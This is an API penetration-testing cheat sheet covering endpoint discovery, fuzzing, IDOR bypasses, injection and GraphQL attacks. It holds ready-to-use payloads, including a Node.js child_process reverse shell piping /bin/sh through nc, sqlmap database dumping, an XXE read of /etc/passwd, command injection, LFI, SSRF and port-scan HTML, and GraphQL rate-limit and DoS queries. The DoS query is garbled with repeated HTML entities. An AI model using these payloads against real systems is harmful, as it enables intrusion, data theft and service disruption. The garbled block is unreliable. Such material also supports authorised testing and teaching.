# API Pentesting

Application Programming Interface (API) is for communicating with each computer. There are several types such as Web API, REST API, RESTful API.

### API Subdomains Discovery <a href="#api-subdomains-discovery" id="api-subdomains-discovery"></a>

Reference: <https://infosecwriteups.com/how-to-discover-api-subdomains-api-hacking-41ef91d00846>

```shellscript
api.example.com

# with another subdomain
sub.api.example.com
api.sub.example.com

# Versions
v1.api.example.com
v2.api.example.com
api.v1.example.com
api.v2.example.com
```

#### Google Dorks <a href="#google-dorks" id="google-dorks"></a>

```shellscript
site:*.api.example.com
site:api.*.example.com

# Random domains
site:*.api.*.*
site:api.*.*.*
site:*.api.*.com
site:api.*.*.com
site:*.api.*.gov
site:api.*.*.gov
```

#### Automation <a href="#automation" id="automation"></a>

```shellscript
subfinder -d example.com | grep api
```

Below fuzz target web server directly so be careful when doing that.

```shellscript
ffuf -u https://FUZZ.api.example.com -w wordlist.txt
ffuf -u https://api.FUZZ.example.com -w wordlist.txt
```

### Change HTTP Request Methods <a href="#change-http-request-methods" id="change-http-request-methods"></a>

```shellscript
# Methods
GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, INVENTED
```

### Change Content-Type <a href="#change-content-type" id="change-content-type"></a>

When trying to access or modify values in API, changing the `Content-Type` header may abuse the system.

```shellscript
Content-Type: application/json
Content-Type: application/xml
Content-Type: application/x-www-form-urlencoded
Content-Type: text/html
Content-Type: text/plain
Content-Type: text/xml
```

### Endpoint Discovery <a href="#endpoint-discovery" id="endpoint-discovery"></a>

Try to enumerate endpoints while changing HTTP methods like GET, POST, OPTIONS, etc.

```shellscript
/api/?xml
/api?xml
/api/v1?xml
/api/v1/user?xml

# Web Service Description Language
/api/?wsdl

# Versions
/api/v1/user
/api/v2/user
/api/v3/user

# Wildcards
/api/v2/user/*
/api/v2/user/posts/*
/api/v2/users/*

# Path traversal
/api/v1/post/..\private

# Misc
/api/user/1
/api/users/1
/api/users/1/delete
/api/users/1/edit
/api/users/1/update
```

#### Automation <a href="#automation_1" id="automation_1"></a>

```shellscript
# Dirb
dirb https://vulnerable.com/ endpoints.txt

# Ffuf
ffuf -u https://vulnerable.com/FUZZ -w endpoints.txt
ffuf -u https://vulnerable.com/FUZZ -X POST -w endpoints.txt
ffuf -u https://vulnerable.com/api/FUZZ -w wordlist.txt
ffuf -u https://example.com/api/?FUZZ=test -w wordlist.txt

# Gobuster
gobuster dir -u https://vulnerable.com/ -w endpoints.txt

# Kiterunner
# -A: wordlist type (ex. first 20000 words)
# -x: max connection per host (default: 3)
kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10
kr scan https://vulnerable.com/api -A=apiroutes-210228:20000 -x 10 --fail-status-codes 401,404
kr scan https://vulnerable.com:8443/api -A=apiroutes-210228:20000 -x 10
```

[This wordlist](https://gist.github.com/yassineaboukir/8e12adefbd505ef704674ad6ad48743d){:target="\_blank"} is useful for endpoints.

### GET Parameters <a href="#get-parameters" id="get-parameters"></a>

```shellscript
/api/v1/user?id=test
/api/v1/user?name=test
/api/v1/user?uuid=test
/api/v1/status?live=test
/api/v1/status?verbose=test
```

#### Parameter Fuzzing <a href="#parameter-fuzzing" id="parameter-fuzzing"></a>

```shellscript
# Key
ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt
ffuf -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120
ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt
ffuf -X POST -u https://vulnerable.com/api/items?FUZZ=test -w wordlist.txt -fs 120

# Value
ffuf -u https://vulenrable.com/api/items?test=FUZZ -w wordlist.xt
ffuf -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120
ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt
ffuf -X POST -u https://vulnerable.com/api/items?test=FUZZ -w wordlist.txt -fs 120
```

### Sending Unexpected Data <a href="#sending-unexpected-data" id="sending-unexpected-data"></a>

We might be able to find anything by sending unexpected data on POST or PUT method.

```shellscript
{"email": "test@test.com"}
{"email": true}
{"email": 1}
{"email": -1}
{"email": ["test@test.com", true]}
{"email": {"admin": true}}

// Prototype Pollution
{"email": "test@test.com", "__proto__": {"admin": true}}
{"email": {"__proto__": {"admin": true}}}
```

### XSS <a href="#xss" id="xss"></a>

If we can send post (or put) requests to API endpoints, we may be able to insert payloads and the result will be reflected as the output.\
[XSS](https://exploit-notes.hdks.org/exploit/web/xss/) can be used for this exploitation.

### SQL Injection <a href="#sql-injection" id="sql-injection"></a>

```
sqlmap -u http://vulnerable.com/api/v2/fetch/?post=1 --dump --batch
```

### Node.js Remote Code Execution (RCE) <a href="#nodejs-remote-code-execution-rce" id="nodejs-remote-code-execution-rce"></a>

If the website uses the Node (e.g. Express), we may be able to execute the JavaScript function.

```
# Get current working directory in the website
/api/?key=process.cwd()
```

#### Reverse Shell <a href="#reverse-shell" id="reverse-shell"></a>

We may be able to execute reverse shell using "child\_process".\
First off, start listener for getting a shell in local machine.

```
nc -lvnp 4444
```

Then send request to the website with the parameter which executes reverse shell using child\_process.

```
/api/?key=require('child_process').exec('rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <local-ip> 4444 >/tmp/f')
```

We should see that we get a shell in local terminal.

### Same Session Across Multiple Versions and Instances <a href="#same-session-across-multiple-versions-and-instances" id="same-session-across-multiple-versions-and-instances"></a>

For example, assumed the website has two endpoints such as "/api/v1/user/login", "/api/v2/user/login".\
"v1" uses "X-Token" and "v2" uses "X-Session".\
After login to "v1", you may be able to get access "v2" using the session key/value of "v1".

```
X-Token: fc38ab5f5ae41072778d852023f9ee26
X-Session: fc38ab5f5ae41072778d852023f9ee26
```

### XXE <a href="#xxe" id="xxe"></a>

```
GET /api/product/1?xml HTTP/1.1
```

If the website displays the response in XML, we might be able to XXE.

### References <a href="#references" id="references"></a>

* [sebnemK](https://medium.com/@sebnemK/node-js-rce-and-a-simple-reverse-shell-ctf-1b2de51c1a44)

## Tools

```bash
# Tools
https://github.com/Fuzzapi/fuzzapi
https://github.com/Fuzzapi/API-fuzzer
https://github.com/flipkart-incubator/Astra
https://github.com/BBVA/apicheck/
https://github.com/ngalongc/openapi_security_scanner
https://github.com/assetnote/kiterunner
https://github.com/s0md3v/dump/tree/master/json2paths
https://github.com/API-Security/APIKit

# API keys guesser
https://api-guesser.netlify.app/

# Wordlists
https://github.com/chrislockard/api_wordlist
https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common-api-endpoints-mazen160.txt
https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content/api
https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt

# Swagger to burp
https://rhinosecuritylabs.github.io/Swagger-EZ/

# List swagger routes
https://github.com/amalmurali47/swagroutes

# Checklist
https://gitlab.com/pentest-tools/API-Security-Checklist/-/blob/master/README.md

# Best mindmap
https://dsopas.github.io/MindAPI/play/

# GUID guesser
https://gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18

# Test swagger endpoints
https://github.com/BishopFox/sj
```

## General

```bash
# SOAP uses: mostly HTTP and XML, have header and body
# REST uses: HTTP, JSON , URL and XML, defined structure
# GraphQL uses: Custom query language, single endpoint

# Always check for race conditions and memory leaks (%00)

# SQLi tip
{"id":"56456"} - OK
{"id":"56456 AND 1=1#"} -> OK
{"id":"56456 AND 1=2#"} -> OK
{"id":"56456 AND 1=3#"} -> ERROR
{"id":"56456 AND sleep(15)#"} -> SLEEP 15 SEC

# Shell injection
- RoR
Check params like ?url=Kernel#open
and change like ?url=|ls

# Tip
If the request returns nothing:
- Add this header to siumlate a Frontend
"X-requested-with: XMLHttpRequest"
- Add params like:
GET /api/messages             > 401
GET /api/messages?user_id=1   > 200

# Checklist:
•  Auth type
•  Max retries in auth
•  Encryption in sensible fields
•  Test from most vulnerable to less
   ◇ Organization's user management
   ◇ Export to CSV/HTML/PDF
   ◇ Custom views of dashboards
   ◇ Sub user creation&management
   ◇ Object sharing (photos, posts,etc)
• Archive.org
• Censys
• VirusTotal
• Abusing object level authentication
• Abusing weak password/dictionary brute forcing
• Testing for mass management, instead /api/videos/1 -> /api/my_videos
• Testing for excessive data exposure
• Testing for command injection
• Testing for misconfigured permissions
• Testing for SQL injection

Access
• Limit in repeated requests
• Check always HTTPS
• Check HSTS
• Check distinct login paths /api/mobile/login | /api/v3/login | /api/magic_link
• Even id is not numeric, try it /?user_id=111 instead /?user_id=user@mail.com
• Bruteforce login
• Try mobile API versions
• Don't assume developer, mobile and web API is the same, test them separately

Input
• Check distinct methods GET/POST/PUT/DELETE.
• Validate content-type on request Accept header (e.g. application/xml, application/json, etc.)
• Validate content-type of posted data (e.g. application/x-www-form-urlencoded, multipart/form-data, application/json, etc.).
• Validate user input (e.g. XSS, SQL-Injection, Remote Code Execution, etc.).
• Check sensitive data in the URL.
• Try input injections in ALL params
• Locate admin endpoints
• Try execute operating system command 
   ◇ Linux :api.url.com/endpoint?name=file.txt;ls%20/
• XXE
   ◇ <!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/passwd”> ]>
• SSRF
• Check distinct versions api/v{1..3}
• If REST API try to use as SOAP changing the content-type to "application/xml" and sent any simple xml to body
• IDOR in body/header is more vulnerable than ID in URL
• IDOR:
   ◇ Understand real private resources that only belongs specific user
   ◇ Understand relationships receipts-trips
   ◇ Understand roles and groups
   ◇ If REST API, change GET to other method Add a “Content-length” HTTP header or Change the “Content-type”
   ◇ If get 403/401 in api/v1/trips/666 try 50 random IDs from 0001 to 9999
• Bypass IDOR limits:
   ◇ Wrap ID with an array {“id”:111} --> {“id”:[111]}
   ◇ JSON wrap {“id”:111} --> {“id”:{“id”:111}}
   ◇ Send ID twice URL?id=<LEGIT>&id=<VICTIM>
   ◇ Send wildcard {"user_id":"*"}
   ◇ Param pollution 
      ▪ /api/get_profile?user_id=<victim’s_id>&user_id=<user_id>
      ▪ /api/get_profile?user_id=<legit_id>&user_id=<victim’s_id>
      ▪ JSON POST: api/get_profile {“user_id”:<legit_id>,”user_id”:<victim’s_id>}
      ▪ JSON POST: api/get_profile {“user_id”:<victim’s_id>,”user_id”:<legit_id>}
      ▪ Try wildcard instead ID
• If .NET app and found path, Developers sometimes use "Path.Combine(path_1,path_2)" to create full path. Path.Combine has weird behavior: if param#2 is absolute path, then param#1 is ignored.
   ◇ https://example.org/download?filename=a.png -> https://example.org/download?filename=C:\\inetpub\wwwroot\a.png
   ◇ Test: https://example.org/download?filename=\\smb.dns.praetorianlabs.com\a.png
• Found a limit / page param? (e.g: /api/news?limit=100) It might be vulnerable to Layer 7 DoS. Try to send a long value (e.g: limit=999999999) and see what happens :)

Processing
•  Check if all the endpoints are protected behind authentication.
•  Check /user/654321/orders instead /me/orders.
•  Check auto increment ID's.
•  If parsing XML, check XXE.
•  Check if DEBUG is enabled.
• If found GET /api/v1/users/<id> try DELETE / POST to create/delete users
• Test less known endpoint POST /api/profile/upload_christmas_voice_greeting

Output
• If you find sensitive resource like /receipt try /download_receipt,/export_receipt.
• DoS Limit: /api/news?limit=100 -> /api/news?limit=9999999999
• Export pdf - try XSS or HTML injection
   ◇ LFI: username=<iframe src="file:///C:/windows/system32/drivers/etc/hosts" height=1000 width=1000/>
   ◇ SSRF: <object data=”http://127.0.0.1:8443”/>
   ◇ Open Port: <img src=”http://127.0.0.1:445”/> if delay is < 2.3 secs is open
   ◇ Get real IP: <img src=”https://iplogger.com/113A.gif”/>
   ◇ DoS: <img src=”http://download.thinkbroadband.com/1GB.zip”/>
      ▪ <iframe src=”http://example.com/RedirectionLoop.aspx”/>
      
      
# Endpoint bypasses
# whatever.com/api/v1/users/sensitivedata -> access denied
# Add to the final endpoint
.json
?
..;/
\..\.\getUSer
/
??
&details
#
%
%20
%09

# General info about APIs
https://openapi.tools/

# Common vulns
- API Exposure
- Misconfigured Caching
- Exposed tokens
- JWT Weaknesses
- Authorization Issues / IDOR / BOLA
- Undocumented Endpoints
- Different Versions
- Rate Limiting (BF allowed)
- Race Conditions
- XXE injection
- Switching Content Type
- HTTP Methods
- Injection Vulnerabilities
```

### REST

```zsh
# Predictable endppoints
GET /video/1
DELETE /video/1
GET /video/1/delete
GET /video/2

# Create POST
# Read GET
# Update POST PUT
# Delete PUT DELETE

# Fuzz users & methods to enumerate like /$user$/1 with https://github.com/fuzzdb-project/fuzzdb/blob/master/discovery/common-methods/common-methods.txt

# Check if supports SOAP. Change the content-type to "application/xml", add a simple XML in the request body, and see how the API handles it.
```

### GraphQL

#### Tools

```sh
# https://github.com/gsmith257-cyber/GraphCrawler
# https://github.com/dolevf/graphw00f
# https://github.com/nikitastupin/clairvoyance
https://github.com/y0k4i-1337/clairvoyancex
# https://github.com/assetnote/batchql
# https://github.com/dolevf/graphql-cop

# https://github.com/doyensec/GQLSpection
# https://github.com/doyensec/inql
# https://github.com/swisskyrepo/GraphQLmap
# https://apis.guru/graphql-voyager/
# https://gitlab.com/dee-see/graphql-path-enum

# https://graphql.security/
# https://astexplorer.net/

# Burp extensions
https://github.com/doyensec/inql
https://github.com/forcesunseen/graphquail
```

#### Resources

```bash
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty/
https://blog.securelayer7.net/api-penetration-testing-with-owasp-2017-test-cases/
https://blog.forcesunseen.com/graphql-security-testing-without-a-schema
https://escape.tech/blog/graphql-security-wordlist/
https://www.assetnote.io/resources/research/exploiting-graphql
```

#### Common bugs

```shellscript
# IDOR
Try access any user id other than yours


# SQL/NoSQL Injections
"filters":{
		"username":"test' or 1=1--"
	}
	
# Rate Limit
Because of the nature of GraphQL, we can send multiple queries in a single request by batching them together. If the developers did not implement any kind of mechanism to prevent us from sending batch requests than we could potentially bypass rate limiting by sending the following queries in a single request:
mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"x@example.com" password:"password"}){success jwt}}

# Info disclosure
A query can be constructed from scratch from verbose error messages even when we don’t have the benefits of introspection.

# DOS
Similar to XXE billion laughs attack

query {
&amp;amp;nbsp; posts{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; title
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;  &amp;amp;nbsp; comment
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   user{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comments{
&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   comment
 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;       user{
 &amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;&amp;amp;nbsp;   ...
                      }
                    }
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}
```

#### Tips

```shellscript
# Easy to enumeration

# Create {createPost(...)}
# Read {post(id:"1"){id,..}}
# Update {updatePost(...)}
# Delete {deletePost(...)}

To test a server for GraphQL introspection misconfiguration: 
1) Intercept the HTTP request being sent to the server 
2) Replace its post content / query with a generic introspection query to fetch the entire backend schema 
3) Visualize the schema to gather juicy API calls. 
4) Craft any potential GraphQL call you might find interesting and HACK away!

example.com/graphql?query={__schema%20{%0atypes%20{%0aname%0akind%0adescription%0afields%20{%0aname%0a}%0a}%0a}%0a}

XSS in GraphQL:
http://localhost:4000/example-1?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E
http://localhost:4000/example-3?id=%3C/script%3E%3Cscript%3Ealert('I%20%3C3%20GraphQL.%20Hack%20the%20Planet!!')%3C/script%3E%3Cscript%3E

# Introspection query
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
# Encoded
fragment+FullType+on+__Type+{++kind++name++description++fields(includeDeprecated%3a+true)+{++++name++++description++++args+{++++++...InputValue++++}++++type+{++++++...TypeRef++++}++++isDeprecated++++deprecationReason++}++inputFields+{++++...InputValue++}++interfaces+{++++...TypeRef++}++enumValues(includeDeprecated%3a+true)+{++++name++++description++++isDeprecated++++deprecationReason++}++possibleTypes+{++++...TypeRef++}}fragment+InputValue+on+__InputValue+{++name++description++type+{++++...TypeRef++}++defaultValue}fragment+TypeRef+on+__Type+{++kind++name++ofType+{++++kind++++name++++ofType+{++++++kind++++++name++++++ofType+{++++++++kind++++++++name++++++++ofType+{++++++++++kind++++++++++name++++++++++ofType+{++++++++++++kind++++++++++++name++++++++++++ofType+{++++++++++++++kind++++++++++++++name++++++++++++++ofType+{++++++++++++++++kind++++++++++++++++name++++++++++++++}++++++++++++}++++++++++}++++++++}++++++}++++}++}}query+IntrospectionQuery+{++__schema+{++++queryType+{++++++name++++}++++mutationType+{++++++name++++}++++types+{++++++...FullType++++}++++directives+{++++++name++++++description++++++locations++++++args+{++++++++...InputValue++++++}++++}++}}
# Formatted
{
  __schema {
    types {
      name
      fields {
        name
      }
    }
  }
}

```
